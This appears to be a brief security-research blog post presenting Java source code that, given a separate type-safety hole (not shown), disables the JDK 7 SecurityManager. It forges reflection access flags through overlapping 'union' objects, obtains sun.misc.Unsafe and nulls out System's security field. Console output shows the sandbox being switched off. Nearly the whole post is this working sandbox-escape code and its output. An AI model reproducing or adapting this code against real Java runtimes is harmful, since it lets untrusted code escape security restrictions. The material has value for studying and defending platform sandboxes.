Suppose you have a type safety vulnerability in Java, you could use it to execute native code, but you can also simply disable the SecurityManager:
import java.io.*;
import java.lang.ref.*;
import java.lang.reflect.*;
class Union1 {
ObjectStreamClass osc;
Class c;
AccessibleObject acc;
}
class Union2 {
MyObjectStreamClass osc;
MyClass c;
MyAccessibleObject acc;
}
class MyObjectStreamClass {
int i1;
int i2;
int i3;
int i4;
Object obj1;
Object obj2;
Long suid;
}
class MyClass {
int i1;
int i2;
int i3;
int i4;
Object obj1;
Object obj2;
Object obj3;
Object obj4;
SoftReference<Field[]> declaredFields;
Object obj6;
SoftReference<Method[]>
declaredMethods;
Object obj8;
}
class MyAccessibleObject {
boolean override;
}
class DisableSecurityManager {
static Union1 u1 = new Union1();
static Union2
u2;
static Method privateGetDeclaredFields;
static Method
privateGetDeclaredMethods;
public static void main(String[] args) throws
Exception {
u2 = TypeSafetyHole.setupUnions(u1);
disableSecurityManager();
}
static void disableSecurityManager() throws Exception {
initReflection();
Object
unsafe = getField(java.util.Random.class, "unsafe").get(null);
Method
staticFieldBase = getMethod(unsafe.getClass(), "staticFieldBase");
Method
staticFieldOffset = getMethod(unsafe.getClass(), "staticFieldOffset");
Object
base_System = staticFieldBase.invoke(unsafe, System.class);
Method getObject =
getMethod(unsafe.getClass(), "getObjectVolatile");
Method putObject =
getMethod(unsafe.getClass(), "putObjectVolatile");
SecurityManager sm =
System.getSecurityManager();
System.out.println(sm);
for (int i = 0; ; i += 4) {
if (getObject.invoke(unsafe, base_System, i) == sm) {
System.out.println("found
it!");
putObject.invoke(unsafe, base_System, i, null);
break;
}
}
System.out.println(System.getSecurityManager());
}
static void initReflection()
throws Exception {
u1.osc = ObjectStreamClass.lookup(Class.class);
u1.c =
Class.class;
System.out.println(ObjectStreamClass.lookup(Class.class).getSerialVersionUID());
u2.osc.suid = null;
System.out.println(ObjectStreamClass.lookup(Class.class).getSerialVersionUID());
for (Method m : u2.c.declaredMethods.get()) {
if
(m.getName().equals("privateGetDeclaredFields")) {
u1.acc = m;
u2.acc.override =
true;
privateGetDeclaredFields = m;
}
if
(m.getName().equals("privateGetDeclaredMethods")) {
u1.acc = m;
u2.acc.override
= true;
privateGetDeclaredMethods = m;
}
}
}
static Field getField(Class c,
String name) throws Exception {
Field[] fields =
(Field[])privateGetDeclaredFields.invoke(c, false);
for (Field f : fields) {
if
(f.getName().equals(name)) {
u1.acc = f;
u2.acc.override = true;
return f;
}
}
throw new Error("Field not found");
}
static Method getMethod(Class c, String
name) throws Exception {
Method[] methods =
(Method[])privateGetDeclaredMethods.invoke(c, false);
for (Method m : methods) {
if (m.getName().equals(name)) {
u1.acc = m;
u2.acc.override = true;
return m;
}
}
throw new Error("Method not found");
}
}
This code requires JDK 7. Note that you can't use reflection to access the
System.security field, because it is special
cased by the reflection code (cute, but not very effective).
Here's how it runs (given a suitable implementation of TypeSafetyHole):
C:\j>\jdk1.7\bin\java -Djava.security.manager DisableSecurityManager
3206093459760846163
5184993009896724798
java.lang.SecurityManager@150ac9a8
found
it!
null